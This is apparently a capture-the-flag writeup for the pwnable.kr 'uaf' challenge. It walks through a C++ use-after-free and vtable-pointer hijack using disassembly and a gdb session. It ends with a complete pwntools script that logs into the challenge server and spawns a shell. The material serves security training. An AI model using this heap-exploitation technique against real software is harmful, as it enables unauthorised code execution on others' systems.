Pwnable.kr writeup — uaf

This is a well-designed and simple challenge to practice pwnable exploits. Its name already tells you what to exploit: use-after-free. But how?

Read the source code first, to understand what it does:

  1. It allocates two C++ objects from heap in the beginning of main()
  2. It gives us 3 choices: 1) Call the virtual function of these two objects; 2) Allocate a new memory whose size is specified in the first cmdline argument whose contents is filled by the file specified in the second cmdline argument; 3) Delete these two objects.

As the name tells, the exploit is use after free, so here is our plan:

  1. Free these objects (choice 3)
  2. Allocate memory chunks of the same size and fill it with our controlled contents (choice 2)
  3. Use the objects which are already freed by invoking their virtual functions (choice 1)

In order to make this work, we need to connect them together of course. The key is step 2, in order to connect it with step 1 and step 3, we need to make sure:

  1. We get the same memory chunks that we freed in step 1, otherwise it is impossible to use it, because step 3, in the binary, still refers to the old memory chunk.
  2. We have to fill at least the pointer to the virtual function of these objects in step 2, and then “hijack” ->introduce() to ->give_shell().

How can we ensure we could allocate the last memory chunk we just freed? If you’ve read my post about heap overflow exploits, you know that fast-bin chunks are in LIFO order, so all we need to do is making sure they fit in fast bins and have exactly the same size.

Looking into the assembly code near operator new:

  400f55: 4c 8d 65 c0           lea    -0x40(%rbp),%r12
400f59: bf 18 00 00 00 mov $0x18,%edi
400f5e: e8 2d fe ff ff callq 400d90 <operator new(unsigned long)@plt>

It is quite easy to figure out the chunk size is 0x18, 24 bytes. So it clearly fits in a fast bin and this must be the first cmdline argument we pass.

Hijacking the virtual function pointer is much harder, we have to take a deep look at the assembly code to understand how virtual functions work in C++. Let’s locate the assembly code calling that virtual function:

400fcd: 48 8b 45 c8           mov    -0x38(%rbp),%rax
400fd1: 48 8b 00 mov (%rax),%rax
400fd4: 48 83 c0 08 add $0x8,%rax
400fd8: 48 8b 10 mov (%rax),%rdx
400fdb: 48 8b 45 c8 mov -0x38(%rbp),%rax
400fdf: 48 89 c7 mov %rax,%rdi
400fe2: ff d2 callq *%rdx
400fe4: 48 8b 45 d0 mov -0x30(%rbp),%rax
400fe8: 48 8b 00 mov (%rax),%rax
400feb: 48 83 c0 08 add $0x8,%rax
400fef: 48 8b 10 mov (%rax),%rdx
400ff2: 48 8b 45 d0 mov -0x30(%rbp),%rax
400ff6: 48 89 c7 mov %rax,%rdi
400ff9: ff d2 callq *%rdx

We know C++ virtual functions are stored in a virtual function table and from the above code we can see:

  1. Obviously %rdx must contain ->introduce()
  2. %rdx is from (%rax), so %rax should contain the pointer to the virtual function table and ->introduce() is the second pointer because of the offset 8
  3. %rax is from -0x30(%rbp), so this is the this pointer of the class

If we translate the above in to pseudo C, it is something like: this->vptr->introduce() , where vptr is at offset 0 and introduce() is at offset 8.

Let’s attach gdb and see where and what is vptr:

(gdb) b *0x0000000000400fd4
Breakpoint 1 at 0x400fd4
(gdb) r
Starting program: /home/uaf/uaf
1. use
2. after
3. free
1
Breakpoint 1, 0x0000000000400fd4 in main ()
(gdb) p $rax
$1 = 4199792
(gdb) x/2gx $rax
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
(gdb) x/5i 0x000000000040117a
0x40117a <_ZN5Human10give_shellEv>: push %rbp
0x40117b <_ZN5Human10give_shellEv+1>: mov %rsp,%rbp
0x40117e <_ZN5Human10give_shellEv+4>: sub $0x10,%rsp
0x401182 <_ZN5Human10give_shellEv+8>: mov %rdi,-0x8(%rbp)
0x401186 <_ZN5Human10give_shellEv+12>: mov $0x4014a8,%edi
(gdb) x/5i 0x00000000004012d2
0x4012d2 <_ZN3Man9introduceEv>: push %rbp
0x4012d3 <_ZN3Man9introduceEv+1>: mov %rsp,%rbp
0x4012d6 <_ZN3Man9introduceEv+4>: sub $0x10,%rsp
0x4012da <_ZN3Man9introduceEv+8>: mov %rdi,-0x8(%rbp)
0x4012de <_ZN3Man9introduceEv+12>: mov -0x8(%rbp),%rax

Ah, it is clear that vptr is located at 0x401570 and it contains two function pointers: ->give_shell() and ->introduce()! And vptr is contained in each of these classes too, as the first member. This means we need to fill it into the memory chunk! But how does hijack happen? If we fill 0x401570, we still get ->introduce() called. We know ->introduce() is at offset 8, this is in binary is not what we can control, but… we can fill 0x401570–8 = 0x401568 !!

The last thing to note is since fast bin memory chunks are reused in LIFO order, our first allocation should get w, the second one get m . This means we have to make two allocations and fill both of them, otherwise m->introduce() will segfault…

So the final code is:

from pwn import *
s = ssh(host='pwnable.kr', port=2222,
user='uaf',
password='guest')
context.log_level = 'debug'
a = s.process(["./uaf", "24", "/dev/stdin"])
a.recv(1024)
a.sendline("3")
a.recv(1024)
a.sendline("2")
a.send("\x68\x15\x40\x00\x00\x00\x00\x00")
a.recvuntil('free\n')
a.sendline("2")
a.send("\x68\x15\x40\x00\x00\x00\x00\x00")
a.recvuntil('free\n')
a.sendline("1")
a.interactive()